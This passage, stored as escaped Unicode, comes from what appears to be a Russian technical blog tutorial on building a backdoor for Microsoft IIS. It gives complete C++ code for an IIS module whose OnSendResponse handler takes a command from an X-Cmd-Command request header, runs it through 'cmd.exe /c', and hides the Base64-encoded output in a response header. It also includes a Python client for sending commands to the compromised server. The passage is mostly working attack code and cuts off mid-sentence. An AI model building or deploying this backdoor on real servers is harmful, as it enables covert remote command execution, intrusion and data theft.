\u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, <code>OutputDebugString()<\/code> \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 <code>MapViewOfFile()<\/code> \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430, \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u0415\u0451 \u043e\u0442\u0442\u0443\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/learn.microsoft.com\/en-us\/sysinternals\/downloads\/debugview\">DebugView<\/a>.<\/p>\n<p>\u0412\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0432\u0443\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>Outputdebugstring()<\/code>:<\/p>\n<pre><code class=\"cpp\">#include &lt;Windows.h> #include &lt;stdio.h> #include &lt;atltime.h>  int main() {     HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,     L\"DBWIN_BUFFER_READY\");     HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,     L\"DBWIN_DATA_READY\");      DWORD size = 1 &lt;&lt; 12;     HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,     PAGE_READWRITE, 0, size, L\"DBWIN_BUFFER\");      auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,     0, 0, 0);      while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,     INFINITE, FALSE)) {     SYSTEMTIME local;     ::GetLocalTime(&amp;local);     DWORD pid = *(DWORD*)buffer;     printf(\"%ws.%03d %6d: %s\\n\",     (PCWSTR)CTime(local).Format(L\"%X\"),     local.wMilliseconds, pid,     (const char*)(buffer + sizeof(DWORD)));     }     getchar();     return 0; }<\/code><\/pre>\n<p>\u0410 \u0432\u043e\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0443:<\/p>\n<pre><code class=\"cpp\">#include &lt;windows.h>  int main() { LPCWSTR str = (LPCWSTR)L\"Hi!!!\"; OutputDebugString(str); return 0; }<\/code><\/pre>\n<p>\u0412\u044b\u0432\u043e\u0434 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6ea\/d19\/3f3\/6ead193f36189bb42fafe1b7d2341377.png\" alt=\"\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0430\" title=\"\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0430\" width=\"1359\" height=\"783\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6ea\/d19\/3f3\/6ead193f36189bb42fafe1b7d2341377.png\"\/><\/p>\n<div><figcaption>\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e DebugView:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e47\/a42\/da8\/e47a42da8a9d33fdca525d320929e54d.png\" alt=\"\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u043a\u043e\u0434\u0435\" title=\"\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u043a\u043e\u0434\u0435\" width=\"1390\" height=\"826\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e47\/a42\/da8\/e47a42da8a9d33fdca525d320929e54d.png\"\/><\/p>\n<div><figcaption>\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u043a\u043e\u0434\u0435<\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/777\/942\/5e4\/7779425e49c6739eadfefb271753e8b8.png\" alt=\"\u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 DebugView\" title=\"\u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 DebugView\" width=\"1085\" height=\"794\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/777\/942\/5e4\/7779425e49c6739eadfefb271753e8b8.png\"\/><\/p>\n<div><figcaption>\u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 DebugView<\/figcaption><\/div>\n<\/figure>\n<h2>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e POC<\/h2>\n<p>\u0418\u0442\u0430\u043a, \u043d\u0430\u043c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0451 \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 <code>OnSendResponse()<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u0431\u0435\u043a\u0434\u043e\u0440. \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e. \u0411\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>base64<\/code>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e. \u0422\u0430\u043a \u043a\u0430\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>SetHeader()<\/code> \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 LPCSTR, \u0442\u043e \u043d\u0430\u0448\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>EncodeBase64()<\/code> \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c LPCSTR. \u041a\u043e\u0434\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u043b\u0435\u0436\u0430\u0442\u044c \u0432 BYTE-\u0431\u0443\u0444\u0435\u0440\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0435\u0440\u0432\u044b\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0431\u0443\u0444\u0435\u0440\u0430, \u0432\u0442\u043e\u0440\u044b\u043c \u2014 \u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440.<\/p>\n<pre><code class=\"cpp\">const char base64_chars[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/\";  LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) { std::string out;  int val = 0, valb = -6; for (size_t i = 0; i &lt; in_len; ++i) {     unsigned char c = buffer[i];     val = (val &lt;&lt; 8) + c;     valb += 8;     while (valb >= 0) {         out.push_back(base64_chars[(val >> valb) &amp; 0x3F]);         valb -= 6;     } } if (valb > -6) out.push_back(base64_chars[((val &lt;&lt; 8) >> (valb + 8)) &amp; 0x3F]); while (out.size() % 4) out.push_back('=');  char* encodedString = new char[out.length() + 1]; std::memcpy(encodedString, out.data(), out.length()); encodedString[out.length()] = '\\0';  return encodedString; }<\/code><\/pre>\n<p>\u0420\u0430\u0441\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430, \u0434\u0443\u043c\u0430\u044e, \u043d\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u0430, \u0432\u0435\u0434\u044c \u044d\u0442\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 Base64.<\/p>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043a \u0441\u0430\u043c\u043e\u043c\u0443 \u0441\u043e\u0447\u043d\u043e\u043c\u0443 \u2014 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 <code>OnSendResponse()<\/code>. \u042f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044e \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u043c\u044b \u0435\u0433\u043e \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c.<\/p>\n<pre><code class=\"cpp\">REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss) {     OutputDebugString(L\"OnSendResponse IN\");     IHttpRequest* pHttpRequest = pHttpContext->GetRequest();     IHttpResponse* pHttpResponse = pHttpContext->GetResponse();      USHORT uComLen = 0;     LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &amp;uComLen);     if (lpCommand == NULL || uComLen == 0) {     OutputDebugString(L\"lpCommand == NULL || uComLen == 0\");     return RQ_NOTIFICATION_CONTINUE;     }      OutputDebugString(L\"Command isn't null\");          lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);     lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &amp;uComLen);  std::vector&lt;BYTE> output;      if (ExecuteCommand(lpCommand, output) != 0)     {     OutputDebugString(L\"ExecuteCommand Failed\");     return RQ_NOTIFICATION_CONTINUE;     }      OutputDebugString(L\"ExecuteCommand success\");  if (output.empty()) {     OutputDebugString(L\"Buffer Is empty!\");     return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L\"Buffer is not empty\"); LPCSTR b64Data = EncodeBase64(output.data(), output.size()); if (b64Data == NULL) {     OutputDebugString(L\"Base64 Data Is Null!\");     return RQ_NOTIFICATION_CONTINUE; }  pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false); output.clear(); delete[] b64Data;     OutputDebugString(L\"OnSendResponse OUT\");     return RQ_NOTIFICATION_CONTINUE; }<\/code><\/pre>\n<p>\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u0430\u043a \u0438 \u043e\u0431\u0435\u0449\u0430\u043b, \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e <code>OutputDebugString()<\/code>. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 DebugView \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f IIS.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8b8\/78c\/cd4\/8b878ccd48b2a3257151b56a8f68ff20.png\" alt=\"\u041e\u0442\u043b\u0430\u0434\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 DebugView\" title=\"\u041e\u0442\u043b\u0430\u0434\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 DebugView\" width=\"1156\" height=\"794\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8b8\/78c\/cd4\/8b878ccd48b2a3257151b56a8f68ff20.png\"\/><\/p>\n<div><figcaption>\u041e\u0442\u043b\u0430\u0434\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 DebugView<\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u0438\u0437 <code>pHttpContext<\/code> \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430.   <\/p>\n<pre><code class=\"cpp\">IHttpRequest* pHttpRequest = pHttpContext->GetRequest(); IHttpResponse* pHttpResponse = pHttpContext->GetResponse();<\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0447\u0442\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 <code>X-Cmd-Command<\/code> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c.<\/p>\n<pre><code class=\"cpp\">LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &amp;uComLen); if (lpCommand == NULL || uComLen == 0) {     OutputDebugString(L\"lpCommand == NULL || uComLen == 0\");     return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L\"Command isn't null\");  lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1); lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &amp;uComLen);<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u044f \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>HEADER<\/code>. \u041e\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435 <code>defs.h<\/code>. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e \u0438 \u0431\u0435\u0437 \u043e\u0441\u043e\u0431\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a.<\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u0431\u0435\u043a\u0434\u043e\u0440\u0430 \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043e\u0437\u0434\u0430\u044e \u0432\u0435\u043a\u0442\u043e\u0440 \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430 <code>BYTE<\/code>. \u0412 \u044d\u0442\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<pre><code class=\"cpp\">std::vector&lt;BYTE> output;  if (ExecuteCommand(lpCommand, output) != 0) {     OutputDebugString(L\"ExecuteCommand Failed\"); return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L\"ExecuteCommand success\");  if (output.empty()) { OutputDebugString(L\"Buffer Is empty!\"); return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L\"Buffer is not empty\");<\/code><\/pre>\n<p><code>ExecuteCommand()<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a.<\/p>\n<pre><code class=\"cpp\">DWORD ExecuteCommand(LPCSTR command, std::vector&lt;BYTE>&amp; outputBuffer) { STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; HANDLE hReadPipe, hWritePipe; BOOL success = FALSE;  if (!CreatePipe(&amp;hReadPipe, &amp;hWritePipe, &amp;sa, 0)) {     OutputDebugString(L\"CreatePipe failed\");     return -1; }  ZeroMemory(&amp;si, sizeof(STARTUPINFOA)); si.cb = sizeof(STARTUPINFOA); si.dwFlags |= STARTF_USESTDHANDLES; si.hStdOutput = hWritePipe; si.hStdError = hWritePipe;  char cmdCommand[MAX_PATH]; snprintf(cmdCommand, MAX_PATH, \"C:\\\\Windows\\\\System32\\\\cmd.exe \/c %s\", command);  if (!CreateProcessA(     NULL,     cmdCommand,     NULL,     NULL,     TRUE,     CREATE_NO_WINDOW,     NULL,     NULL,     &amp;si,     &amp;pi)) {     OutputDebugString(L\"CreateProcessA failed\");     CloseHandle(hReadPipe);     CloseHandle(hWritePipe);     return -1; }  OutputDebugString(L\"CreateProcessA Success\");  CloseHandle(hWritePipe);  outputBuffer.clear();      const DWORD tempBufferSize = 4096; std::vector&lt;BYTE> tempBuffer(tempBufferSize); DWORD bytesRead;  while (true) {     if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &amp;bytesRead, NULL) || bytesRead == 0)         break;     outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead); }  CloseHandle(hWritePipe); CloseHandle(hReadPipe); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);  return 0; }<\/code><\/pre>\n<p>\u041c\u0430\u0442\u0451\u0440\u043e\u043c\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0443 \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0434\u043e\u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439. \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0430\u0439\u043f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 (<code>cmd.exe \/c &lt;command><\/code>), \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0435\u0451 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u043f\u0430\u0434\u0451\u0442 \u0432 \u043f\u0430\u0439\u043f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u043c \u0438\u0445 \u0432 \u043d\u0430\u0448 \u0432\u0435\u043a\u0442\u043e\u0440.<\/p>\n<p>\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0447\u0442\u0435\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442. \u041a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c\u0441\u044f \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u043b\u0438\u0431\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u044e\u0442 \u0447\u0438\u0442\u0430\u0442\u044c\u0441\u044f, \u0437\u043d\u0430\u0447\u0438\u0442 \u0432\u0441\u0451, \u043a\u043e\u043d\u0435\u0446 \u0447\u0442\u0435\u043d\u0438\u044f \ud83d\ude42<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u0435\u043a\u0442\u043e\u0440 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e \u0432 Base64 \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u043e\u0442\u0432\u0435\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0442\u043e\u0434 <code>SetHeader()<\/code>.<\/p>\n<pre><code class=\"cpp\">LPCSTR b64Data = EncodeBase64(output.data(), output.size()); if (b64Data == NULL) {     OutputDebugString(L\"Base64 Data Is Null!\");     return RQ_NOTIFICATION_CONTINUE; } OutputDebugStringA(b64Data); pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false); output.clear(); delete[] b64Data;     OutputDebugString(L\"OnSendResponse OUT\");     return RQ_NOTIFICATION_CONTINUE; }<\/code><\/pre>\n<h2>\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u044b<\/h2>\n<p>\u041c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0442\u0438\u043d\u044b! \u0414\u043e\u0431\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0439 IIS, \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 Python.<\/p>\n<pre><code class=\"python\">import requests import argparse import base64  parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.') parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to') parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header') parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command') args = parser.parse_args()  url = args.host   headers = { args.header: args.cmd }  response = requests.get(url, headers=headers)  if response.status_code == 200: response_value = response.headers.get(args.header) if response_value:     decoded_value = base64.b64decode(response_value.encode()).decode()     print(f\"\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 {args.header} \u0432 \u043e\u0442\u0432\u0435\u0442\u0435: {decoded_value}\") else:     print(f\"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a {args.header} \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435.\") else: print(f\"\u041e\u0448\u0438\u0431\u043a\u0430: \u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. \u0421\u0442\u0430\u0442\u0443\u0441 \u043a\u043e\u0434: {response.status_code}\")<\/code><\/pre>\n<p>\u0421\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u0432\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u0438 \u043e\u0434\u0438\u043d \u043e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440:<\/p>\n<ul>\n<li>\n<p><code>--host<\/code> \u2014 URL-\u0430\u0434\u0440\u0435\u0441 \u0445\u043e\u0441\u0442\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d IIS<\/p>\n<\/li>\n<li>\n<p><code>--cmd<\/code> \u2014 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/p>\n<\/li>\n<li>\n<p><code>--header<\/code> \u2014 \u0438\u043c\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0434\u0430\u0451\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c <code>X-Cmd-Command<\/code>, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c, \u0442\u043e \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u043e\u0432\u043e\u0435 